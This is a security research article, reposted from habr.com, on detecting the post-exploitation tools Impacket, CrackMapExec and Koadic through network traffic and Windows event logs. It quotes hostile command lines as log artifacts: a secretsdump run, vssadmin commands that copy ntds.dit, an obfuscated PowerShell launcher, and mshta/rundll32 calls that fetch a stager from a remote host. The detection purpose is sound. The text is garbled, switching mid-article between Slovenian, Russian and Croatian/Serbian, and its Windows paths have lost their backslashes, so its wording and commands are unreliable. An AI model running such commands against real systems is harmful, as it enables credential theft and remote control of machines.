Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera

S vsakim letom narašča število napadov v korporativnem sektorju: na primer leta 2017 so zabeležili 13 % več edinstvenih incidentov kot leto 2016, medtem ko je bilo leta 2018 — 27 % več incidentov, kot v prejšnjem obdobju. Med njimi so tudi tisti, kjer je glavno delovno orodje operacijski sistem Windows. V letih 2017—2018 so skupine APT Dragonfly, APT28, APT MuddyWater izvedle napade na vladne in vojaške organizacije v Evropi, Severni Ameriki in Savdski Arabiji. Za to so uporabile tri orodja — Impacket, CrackMapExec in Koadic. Njihova izvorna koda je odprta in dostopna na GitHubu.

Treba je omeniti, da se ta orodja ne uporabljajo za prvotno vdor, temveč za nadaljevanje napada znotraj infrastrukture. Napadalci jih uporabljajo v različnih fazah napada, ki sledijo po preboju perimetra. To je, mimogrede, težko zaznati in pogosto le z uporabo tehnologij za odkrivanje sledi kompromitacije v omrežnem prometu ali orodij, ki omogočajo odkrivanje aktivnih dejanj napadalca po njegovem prodoru v infrastrukturo. Orodja zagotavljajo številne funkcije — od prenosa datotek do interakcije z registri in izvajanja ukazov na oddaljeni napravi. Opravili smo raziskavo teh orodij, da bi določili njihovo omrežno aktivnost.

Kar smo morali narediti:

  • Razumeti, kako deluje hekerski arsenal. Ugotoviti, kaj napadalcem zadošča za izkoriščanje in kakšne tehnologije lahko uporabijo.
  • Najti tisto, kar ni zaznano z informacijskimi varnostnimi sredstvi v zgodnjih fazah napada. Faza obveščevalne raziskave je lahko izpuščena, bodisi zato, ker gre za notranjega napadalca, bodisi zato, ker napadalec izkorišča ranljivost v infrastrukturi, ki prej ni bila znana. Pojavi se možnost, da se obnovi celoten niz njegovih dejanj, zato se pojavi želja po odkrivanju nadaljnjega gibanja.
  • Odpraviti lažne alarmne signale sistemov za odkrivanje vdorovNe smemo pozabiti, da so lahko pogoste napake pri odkrivanju določenih dejanj, ki temeljijo zgolj na obveščevalnih podatkih. V infrastrukturi običajno obstaja dovolj načinov, ki so na prvi pogled nedolžni, da pridobimo kakršne koli informacije.

Kaj torej ti orodja prinašajo napadalcem? Če govorimo o Impacket, imajo hekerji na voljo obsežno knjižnico modulov, ki jih lahko uporabijo v različnih fazah napada, ki sledijo po premagovanju perimetra. Mnogi instrumenti uporabljajo Impacket module v sebi — na primer, Metasploit. Vsebuje dcomexec in wmiexec za oddaljeno izvajanje ukazov, secretsdump za pridobitev računov iz pomnilnika, ki so bili dodani iz Impacket. Zato bo pravilno odkrivanje aktivnosti te knjižnice omogočilo tudi odkrivanje derivatov.

O CrackMapExec (ali preprosto CME) so ustvarjalci namerno zapisali „Powered by Impacket“. Poleg tega CME vsebuje že pripravljeno funkcionalnost za priljubljene scenarije: to vključuje Mimikatz za pridobivanje gesel ali njihovih hashes, ter vgradnjo Meterpreter ali Empire agent za oddaljeno izvajanje, in Bloodhound na krovu.

Tretje izbrano orodje je Koadic. Je razmeroma novo, predstavljeno na mednarodni hekerski konferenci DEFCON 25 leta 2017, in se odlikuje po nekonvencionalnem pristopu: deluje prek HTTP, Java Script in Microsoft Visual Basic Script (VBS). Ta pristop imenujemo living off the land: orodje uporablja niz odvisnosti in knjižnic, vgrajenih v Windows. Ustvarjalci ga imenujejo COM Command & Control ali C3.

IMPACKET

Funkcionalnost Impacket je zelo široka, od obveščevalnih aktivnosti znotraj AD in zbiranja podatkov z notranjih MS SQL strežnikov, do tehnik za pridobivanje poverilnic: to vključuje SMB relay napad in pridobitev datoteke ntds.dit s domena kontrolerja, ki vsebuje hashe uporabniških gesel. Impacket prav tako oddaljeno izvaja ukaze, pri čemer uporablja štiri različne načine: prek WMI, storitve za upravljanje načrtovalnika Windows, DCOM in SMB, in za to potrebuje poverilnice.

Secretsdump

Poglejmo si secretsdump. To je modul, katerega cilj so lahko tako uporabniški računalniki kot tudi domena kontrolerji. Z njegovo pomočjo lahko pridobimo kopije območij pomnilnika LSA, SAM, SECURITY, NTDS.dit, zato ga lahko vidimo v različnih fazah napada. Prvi korak pri delovanju modula je avtorizacija preko SMB, za kar potrebujemo bodisi uporabniško geslo bodisi njegov hash za samodejno izvajanje napada Pass the Hash. Naslednji korak je zahteva za odpiranje dostopa do Service Control Manager (SCM) in pridobitev dostopa do registra preko protokola winreg, s katerim lahko napadalec izve podatke o zanimivih vejah in pridobi rezultate preko SMB.

Na sl. 1 vidimo, kako se pri uporabi protokola winreg pridobi dostop preko registra ključa z LSA. Za to se uporablja ukaz DCERPC z opcode 15 — OpenKey.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Sl. 1. Odpiranje registra ključa preko protokola winreg

Nato, ko je dostop do ključa pridobljen, se vrednosti shranijo z ukazom SaveKey z opcode 20. Impacket to počne zelo specifično. Shranjuje vrednosti v datoteko, katere ime je niz 8 naključnih znakov z dodano končnico .tmp. Poleg tega se naknadno nalaganje te datoteke izvaja preko SMB iz imenika System32 (sl. 2).

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Sl. 2. Shema pridobivanja registra ključa z oddaljenega računalnika

Tako je mogoče odkriti podobno aktivnost v omrežju po zahtevah za določenimi vejami registra preko protokola winreg, specifičnimi imeni, ukazi in njihovim vrstnim redom.

Ta modul prav tako pušča sledi v Windows dogodkovnem dnevniku, zaradi katerih ga je enostavno odkriti. Na primer, kot rezultat izvajanja ukaza

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

v dnevniku Windows Server 2016 bomo videli naslednji ključni zaporedje dogodkov:

1. 4624 — oddaljena prijava.
2. 5145 — preverjanje pravic dostopa do oddaljene storitve winreg.
3. 5145 — preverjanje pravic dostopa do datoteke v imeniku System32. Datoteka ima naključno ime, omenjeno zgoraj.
4. 4688 — ustvarjanje procesa cmd.exe, ki zažene vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows >& SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — ustvarjanje procesa z ukazom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — создание процесса с командой:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — создание процесса с командой:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Как и у многих инструментов для постэксплуатации, у Impacket есть модули для удаленного выполнения команд. Мы остановимся на smbexec, который дает интерактивную командную оболочку на удаленной машине. Для этого модуля также требуется аутентификация через SMB либо паролем, либо его хешем. На рис. 3 мы видим пример работы такого инструмента, в данном случае это консоль локального администратора.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Рис. 3. Интерактивная консоль smbexec

Первым этапом работы smbexec после аутентификации является открытие SCM командой OpenSCManagerW (15). Запрос примечателен: в нем поле MachineName имеет значение DUMMY.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Рис. 4. Запрос на открытие Service Control Manager

Далее происходит создание сервиса с помощью команды CreateServiceW (12). В случае smbexec мы можем видеть каждый раз одинаковую логику построения команды. На рис. 5 зеленым цветом отмечены неизменяемые параметры команды, желтым — то, что атакующий может изменить. Нетрудно заметить, что имя исполняемого файла, его директорию и файл output изменить можно, но оставшееся поменять куда сложнее, не нарушая логику работы модуля Impacket.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Рис. 5. Запрос на создание сервиса с помощью Service Control Manager

Smbexec также оставляет явные следы в журнале событий Windows. В журнале Windows Server 2016 для интерактивной командной оболочки с командой ipconfig увидим следующую ключевую последовательность событий:

1. 4697 — установка сервиса на машине жертвы:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — создание процесса cmd.exe с аргументами из пункта 1.
3. 5145 — проверка прав доступа к файлу __output в директории C$.
4. 4697 — установка сервиса на машине жертвы.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — ustvarjanje procesa cmd.exe s parametri iz točke 4.
6. 5145 — preverjanje pravic dostopa do datoteke __output v direktoriju C$.

Impacket je osnova za razvoj orodij za napade. Podpira skoraj vse protokole v Windows infrastrukturi in ima svoje značilnosti. Tukaj so specifični winreg poizvedbe, uporaba SCM API z značilno oblikovanjem ukazov, format imen datotek in SMB share SYSTEM32.

CRACKMAPEXEC

Orodje CME je namenjeno predvsem avtomatizaciji rutinskih nalog, ki jih mora napadalec opraviti za napredovanje znotraj omrežja. Omogoča delo v povezavi z znanimi Empire agentom in Meterpreter. Za izvajanje ukazov na skrivni način, CME lahko obfuskuje le-te. Z uporabo Bloodhound (ločeno orodje za raziskovanje), napadalec lahko avtomatizira iskanje aktivne seje domenskega skrbnika.

Bloodhound

Bloodhound kot samostojno orodje omogoča napredno raziskovanje znotraj omrežja. Zbira podatke o uporabnikih, strojih, skupinah, sejah in se dobavlja v obliki PowerShell skripte ali binarne datoteke. Za zbiranje informacij se uporabljajo LDAP ali protokoli, ki temeljijo na SMB. Integracijski modul CME omogoča nalaganje Bloodhound na stroj žrtve, njegovo zagon in pridobivanje zbranih podatkov po izvajanju, s tem pa avtomatizira dejanja v sistemu in jih naredi manj opazne. Grafični vmesnik Bloodhound prikazuje zbrane podatke v obliki grafov, kar omogoča iskanje najkrajše poti od stroja napadalca do domenskega skrbnika.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Sl. 6. Vmesnik Bloodhound

Za zagon na stroju žrtve modul ustvari nalogo, ki uporablja ATSVC in SMB. ATSVC je vmesnik za delo s časovnikom opravil Windows. CME uporablja njegovo funkcijo NetrJobAdd (1) za ustvarjanje nalog preko omrežja. Primer tistega, kar pošlje modul CME, je prikazan na sl. 7: to je klic ukaza cmd.exe in obfuskujena koda v obliki argumentov v formatu XML.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Sl.7. Ustvarjanje naloge preko CME

Ko naloga pride v izvrševanje, stroj žrtve zažene samega Bloodhounda, kar lahko opazimo v prometu. Modul se caracterizira z LDAP poizvedbami za pridobitev standardnih skupin, seznama vseh strojev in uporabnikov v domeni ter pridobivanjem informacij o aktivnih uporabniških sejah preko poizvedbe SRVSVC NetSessEnum.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Slika 8. Dobivanje popisa aktivnih sesija putem SMB-a

Osim toga, pokretanje Bloodhound-a na metodi s uključenom revizijom prati događaj s ID-em 4688 (stvaranje procesa) i imenom procesa «C:WindowsSystem32cmd.exe». Zanimljivi su argumenti naredbenog retka:

cmd.exe \/Q \/c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Moduł enum_avproducts je veoma zanimljiv s obzirom na funkcionalnost i implementaciju. WMI omogućava korišćenje jezika upita WQL za dobijanje podataka različitih Windows objekata, što ovaj CME modul zapravo koristi. On generiše upite ka klasama AntiSpywareProduct i AntiМirusProduct o zaštitnim sredstvima instaliranim na metodi. Da bi dobio potrebne podatke, modul se povezuje na prostor imena rootSecurityCenter2, zatim formira WQL upit i dobija odgovor. Na slici 9 prikazan je sadržaj takvih upita i odgovora. U našem primeru pronađen je Windows Defender.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Slika 9. Mrežna aktivnost modula enum_avproducts

Često je WMI revizija (Trace WMI-Activity) isključena, a u događajima se može naći korisne informacije o WQL upitima. Ali ako je uključena, u slučaju pokretanja skripte enum_avproducts, čuva se događaj s ID-em 11. On će sadržavati ime korisnika koji je poslao zahtev i ime u prostoru imena rootSecurityCenter2.

Svaki od CME modula ima svoje artefakte, bilo da se radi o specifičnim WQL upitima ili kreiranju određenih vrsta zadataka u planeru zadataka s obfuscacijom i karakterističnim za Bloodhound aktivnostima u LDAP-u i SMB-u.

KOADIC

Izrazita karakteristika Koadic-a je korišćenje ugrađenih Windows interpretera JavaScript-a i VBScript-a. U tom smislu prati trend living off the land — to jest, nema vanjskih zavisnosti i koristi standardna sredstva Windows-a. Ovo je alat za potpuni Command & Control (CnC), jer se nakon infekcije na računaru postavlja "implant", koji omogućava njegovo kontrolisanje. Takav računar, u terminologiji Koadic-a, naziva se "zombi". U slučaju nedostatka privilegija za punu funkcionalnost na strani žrtve, Koadic ima mogućnost podizanja tih privilegija koristeći tehnike zaobilaženja kontrole korisničkih računa (UAC bypass).

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Slika 10. Komandna ljuska Koadic

Žrtev mora sama iniciirati komunikacijo s strežnikom Command & Control. Zato se mora obrniti na vnaprej pripravljeno URI in pridobiti osnovno telo Koadic s pomočjo enega od stagerjev. Na sl. 11 je prikazan primer za stager mshta.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Sl. 11. Inicializacija seje s CnC-strežnikom

Iz spremenljivke WS v odgovoru je razvidno, da se izvajanje dogaja preko WScript.Shell, spremenljivke STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE pa vsebujejo ključne informacije o parametrih trenutne seje. To je prvi par zahteva-odgovor v HTTP povezavi s CnC-strežnikom. Naslednje zahteve so neposredno povezane s funkcionalnostjo poklicanih modulov (implanta). Vsi moduli Koadic delujejo samo z aktivno sejo s CnC.

Mimikatz

Kot CME deluje s Bloodhound, Koadic deluje z Mimikatz kot s samostojnim programom in ima več načinov za njegov zagon. Spodaj je predstavljena para zahteva-odgovor za prenos implanta Mimikatz.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Sl. 12. Prenos Mimikatz v Koadic

Opazimo lahko, kako se je spremenil format URI v zahtevi. Pojavila se je vrednost pri spremenljivki csrf, ki odgovarja za izbrani modul. Ne pozabite na njeno ime; vsi vemo, da pod CSRF običajno razumemo nekaj drugega. V odgovoru je prišlo vse isto osnovno telo Koadic, v katerega je bil dodan koda, povezano z Mimikatz. Ta je dovolj obsežna, zato si poglejmo ključne točke. Pred nami je Mimikatz knjižnica, kodirana v base64, serializirana .NET-klasa, ki jo bo injicirala, in argumenti za zagon Mimikatz. Rezultat izvajanja se prenese po omrežju v odprtem formatu.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Sl. 13. Rezultat izvajanja Mimikatz na oddaljenem računalniku

Exec_cmd

V Koadic so tudi moduli, ki lahko oddaljeno izvajajo ukaze. Tukaj bomo videli enak način generiranja URI in znane spremenljivke sid in csrf. V primeru modula exec_cmd se v telo doda koda, ki lahko izvaja shell-ukaze. Spodaj je prikazana taka koda, ki je vsebovana v HTTP-odgovoru CnC-strežnika.

Kako otkriti napade na Windows infrastrukturu: istražujemo alate hakera
Sl. 14. Koda implanta exec_cmd

Spremenljivka GAWTUUGCFI z znanim atributom WS je potrebna za izvajanje kode. S pomočjo nje implant pokliče shell, obravnavajoč dve veja kode — shell.exec z vrnitvijo izhodnega toka podatkov in shell.run brez vračanja.

Koadic ni tipično orodje, ima pa svoje artefakte, po katerih ga je mogoče najti v legitimnem prometu:

  • posebno oblikovanje HTTP-zahtev,
  • uporaba winHttpRequests API,
  • ustvarjanje objekta WScript.Shell preko ActiveXObject,
  • velik izvršni trenutni program.

Prva povezava sproži pozornik, kar omogoča opazovanje njegove aktivnosti preko dogodkov Windows. Za mshta je to dogodek 4688, ki poroča o ustvarjanju procesa s parametrom za zagon:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Med izvajanjem Koadic lahko opazimo tudi druge dogodke 4688 s parametri, ki ga dobro definirajo:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Zaključki

Trendi 'living off the land' postajajo vse bolj priljubljeni med zlonamernimi akterji. Uporabljajo vgrajene orodja in mehanizme Windows za svoje potrebe. Vidimo, da priljubljena orodja Koadic, CrackMapExec in Impacket, ki sledijo temu načelu, vse pogosteje vključujejo v poročila o APT. Število fork-ov na GitHubu za ta orodja narašča, pojavljajo se nova (trenutno jih je že okoli tisoč). Trend pridobiva na priljubljenosti zaradi svoje preprostosti: zlonamernim akterjem ni treba iskati zunanjih orodij, saj ta že obstajajo na napravah žrtev in pomagajo obiti zaščitne mehanizme. Osredotočamo se na raziskovanje omrežne interakcije: vsako zgoraj opisano orodje pušča svoje sledi v omrežnem prometu; njihovo podrobno preučevanje nam je omogočilo, da našemu produktu PT Network Attack Discovery jih odkrivati, kar pomaga raziskati celotno verigo kibernetskih incidentov, v katerih so sodelovali.

Avtorji:

  • Anton Tyurin, vodja oddelka strokovnih storitev, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, strokovnjak, PT Expert Security Center, Positive Technologies

Izvor: habr.com

Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki 🔥 Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki | ProHoster